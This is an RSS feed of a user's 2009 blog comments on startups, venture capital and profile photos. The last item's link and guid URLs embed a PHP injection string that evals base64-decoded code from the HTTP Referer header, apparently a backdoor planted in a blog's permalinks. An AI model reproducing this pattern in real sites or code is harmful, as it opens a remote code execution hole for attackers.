<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0">
	<channel>
		<title>gdp's Comments</title>
		<language>en-us</language>
		<link>https://www.intensedebate.com/users/327908</link>
		<description>Comments by DaveMcClure</description>
<item>
<title>Don Dodge on The Next Big Thing : Goodbye Microsoft, the next chapter</title>
<link>http://dondodge.typepad.com/the_next_big_thing/2009/11/goodbye-microsoft-the-next-chapter.html#IDComment41976800</link>
<description>wow, sorry to hear about it don... that&amp;#039;s a bummer.  still, i&amp;#039;m sure you&amp;#039;ll get scooped up quickly, so best of luck on your next adventure!  take care &amp;amp; keep on bloggin&amp;#039; :) </description>
<pubDate>Wed, 4 Nov 2009 19:26:37 +0000</pubDate>
<guid>http://dondodge.typepad.com/the_next_big_thing/2009/11/goodbye-microsoft-the-next-chapter.html#IDComment41976800</guid>
</item><item>
<title>Redeye VC : VC - Back to the Future?</title>
<link>http://redeye.firstround.com/2009/10/vc-back-to-the-future.html#IDComment41335355</link>
<description>more important factor to consider than just the size of funds being larger:  1) capX rqmts for companies is lower (at least for consumer internet startups) 2) likelihood of IPO / large acquisition is much lower  imho, i believe there are just a lot more potential acquiring companies out there these days, but they don&amp;#039;t really need to wait for startups to become huge like Skype or YouTube before acquiring them.  they&amp;#039;re much more likely to buy them small &amp;amp; integrate them into their own platforms (sometimes unsuccessfully, but that&amp;#039;s besides the point).   </description>
<pubDate>Sat, 31 Oct 2009 23:20:03 +0000</pubDate>
<guid>http://redeye.firstround.com/2009/10/vc-back-to-the-future.html#IDComment41335355</guid>
</item><item>
<title>Feld Thoughts : It&rsquo;s All About The Faces</title>
<link>http://www.feld.com/wp/archives/2009/05/its-all-about-the-faces.html#IDComment22902313</link>
<description>no not really.  all about the &amp;quot;faces&amp;quot; really is more like &amp;quot;all about the warm fuzzy graphics i relate to&amp;quot;, which could be both pictures of faces, or avatar icons.  in my case, for twitter i&amp;#039;ve chosen an icon that&amp;#039;s associated with some brand &amp;amp; iimagery that i like, and that seems to resonate with a lot of people.  it&amp;#039;s fun, and approachable... just like the smiling picture i have on facebook.    they&amp;#039;re different, but both fun &amp;amp; approachable. </description>
<pubDate>Sun, 31 May 2009 11:47:23 +0000</pubDate>
<guid>http://www.feld.com/wp/archives/2009/05/its-all-about-the-faces.html#IDComment22902313</guid>
</item><item>
<title>Feld Thoughts : It&rsquo;s All About The Faces</title>
<link>http://www.feld.com/wp/archives/2009/05/its-all-about-the-faces.html#IDComment22857307</link>
<description>  &amp;gt;&amp;gt;I heard the line &amp;ldquo;it&amp;rsquo;s all about the faces&amp;rdquo; from someone in the past few weeks.  that &amp;quot;someone&amp;quot; would be me:   &lt;a href=&quot;https://twitter.com/davemcclure/status/1789385359&quot; target=&quot;_blank&quot;&gt;https://twitter.com/davemcclure/status/1789385359&lt;/a&gt;  both profile photos of faces and avatar graphics have their advantages / disadvantages... but for sure, it matters a lot that it&amp;#039;s recognizable, high-quality, warm / friendly / sexy / powerful, reasonable level of zoom, smiling, etc.  it&amp;#039;s even important which way the face is angled (looking left vs right, up vs down).  there are powerful evolutionary &amp;amp; psychology factors that determine this.  there was a fascinating presentation by Joseph Carrabis at NextStage Evolution on this topic i saw a few years back...  if i can dig up a link to the deck i&amp;#039;ll post it back here.   </description>
<pubDate>Sat, 30 May 2009 18:19:25 +0000</pubDate>
<guid>http://www.feld.com/wp/archives/2009/05/its-all-about-the-faces.html#IDComment22857307</guid>
</item><item>
<title>Beyond the Obvious : My Dream Job Starts Today</title>
<link>http://www.wendylea.com/blog/2009/02/17/my-dream-job-starts-today/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#IDComment15393621</link>
<description>happy to help plant the seed, but honestly all i did was make an introduction... you folks did all the rest :)  now good luck turning GS into a big tall oak tree! </description>
<pubDate>Wed, 18 Feb 2009 06:22:19 +0000</pubDate>
<guid>http://www.wendylea.com/blog/2009/02/17/my-dream-job-starts-today/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#IDComment15393621</guid>
</item>	</channel>
</rss>